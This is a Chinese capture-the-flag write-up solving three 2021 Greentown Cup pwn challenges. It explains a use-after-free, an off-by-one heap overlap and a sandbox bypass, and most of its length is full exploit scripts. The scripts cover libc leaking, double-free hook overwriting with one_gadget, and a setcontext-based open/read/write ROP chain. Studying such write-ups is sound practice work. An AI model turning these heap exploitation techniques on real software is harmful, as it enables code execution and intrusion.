2021绿城杯部分pwn题...

【pwn】2021 绿城杯(部分)

前言

补题,这场没报名,比赛的时候机房唯一报名的战队pwn穿了(tql),就没去做了

1、uaf_pwn

简单的uaf,free之后之后没有置0,直接申请unsorted bin泄露libc,再double free改malloc_hook写入one_gadget

exp如下

def add(size):
    sla(">","1")
    sla("size>",str(size))
    
def free(index):
    sla(">","2")
    sla("index>",str(index))

def edit(index,content="a"):
    sla(">","3")
    sla("index>",str(index))
    sla("content>",content)

def show(index):
    sla(">","4")
    sla("index>",str(index))

stack = i16(rl())
leak("stack",stack)

add(0x430) # 0 unsorted bin
add(0x60) # 1
add(0x60) # 2
add(0x10) # 3

free(0)
show(0)

libc.address = uu64(r(6))-(0x7f1719461b78-0x7f171909d000)
leak("base",libc.address)

add(0x430) # 4->0
free(1)
free(2)
free(1)
dbg()

edit(1,p64(libc.sym["__malloc_hook"]-0x23))
add(0x60) # 5->1
add(0x60) # 6 fake_chunk

edit(6,b"c"*19+p64(og(libc.path)[1]+libc.address))
add(0x10)
dbg()

ia()

image-20211004173743542

2、null_pwn

这题使用offbyone加上chunk堆叠,先构造好堆叠,然后用unsorted bin泄露libc。

用堆叠得到的一个指针更改chunk的fd为malloc_hook-0x23构造fakechunk

one_gadget写入malloc_hook

exp如下

def cmd(index):
    sla(":",str(index))

def add(index,size,content="a"):
    cmd(1)
    sla("Index",str(index))
    sla("Heap",str(size))
    sa("Content?:",content)

def free(index):
    cmd(2)
    sla("Index",str(index))

def edit(index,content):
    cmd(3)
    sla("Index:",str(index))
    sa("Content?:",content)

def show(index):
    cmd(4)
    sla("Index :",str(index))

add(0,0x18)
add(1,0x78)
add(2,0x68)
add(3,0x68)
add(4,0x68)
dbg()
edit(0,b"\x00"*0x18+b"\xf1")
dbg()
free(1)
add(5,0x78)
show(5)
ru("Content : ")
libc.address = uu64(r(6)) - (0x7fc3ad748c61-0x7fc3ad384000)
leak("base",libc.address)

malloc_hook = libc.sym["__malloc_hook"]
add(6,0x68)
free(6)
edit(2,p64(malloc_hook-0x23))   # 2->6
add(7,0x68)
add(8,0x68)
ogs = og(libc.path)
edit(8,b"c"*19+p64(ogs[3]+libc.address))
dbg()

cmd(1)
sla(":","9")
sla(":","0x8")

ia()

image-20211004173704024

3、GreentownNote

开了沙箱,ban了execve,那么就用orw。

终于是把das九月赛的setcontext学以致用了QAQ

漏洞在于delete的free之后没有将chunk+8的content置0,所以可以delete之后show泄露

通过libc2.27的double free泄露chunk地址,之后改写tcache的fd指向first chunk,free调first chunk之后泄露libc_base

再利用double free改写tcache的fd指向free_hook

将setcontext+53写入free_hook,setcontext+0xa0位置写上orw的位置,setcontext+0xa8写上ret的位置

free之后就出了

exp如下

add(0x100,b"cccc"*2)    # 0
add(0x100)              # 1
free(0)
free(0)
show(0)
ru(" Content: ")
chunk_addr = uu64(r(6))-0x250
leak("chunk_addr",chunk_addr)

add(0x100,p64(chunk_addr)) # 2->0
add(0x100,'a'*0x8)  # 2->0
add(0x100,'a'*0x28) # 3->first_chunk
free(3)
show(3)
ru(" Content: ")
libc.address = uu64(r(6)) - (0x7faec77b5ca0-0x7faec73ca000)
leak("base",libc.address)


read_addr = libc.sym['read']
open_addr = libc.sym['open']
puts_addr = libc.sym['puts']
free_hook = libc.sym["__free_hook"]
setcontext = libc.sym['setcontext'] + 53

ret = next(libc.search(asm('ret')))
syscall = next(libc.search(asm("syscall")))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rax_ret = next(libc.search(asm("pop rax; ret")))
pop_rdx_ret = next(libc.search(asm("pop rdx; ret")))
pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret")))

flag_addr = free_hook + 0xf8

orw = flat(
    pop_rdi , flag_addr , pop_rsi , 0 , open_addr,
    pop_rdi , 3 , pop_rsi , flag_addr , pop_rdx__rbx_ret , 0x100 , 0 , read_addr,
    pop_rdi , flag_addr , puts_addr
)

add(0x240) # 3
free(0)
free(0)
add(0x100,p64(free_hook)) # 4->0
add(0x100)                # 4->0
add(0x100,(p64(setcontext)+orw+p64(0)*3+p64(free_hook+8)+p64(ret)).ljust(0xf8,b"b")+b"flag\x00") # 5
dbg()
free(5)
ia()

image-20211004173627459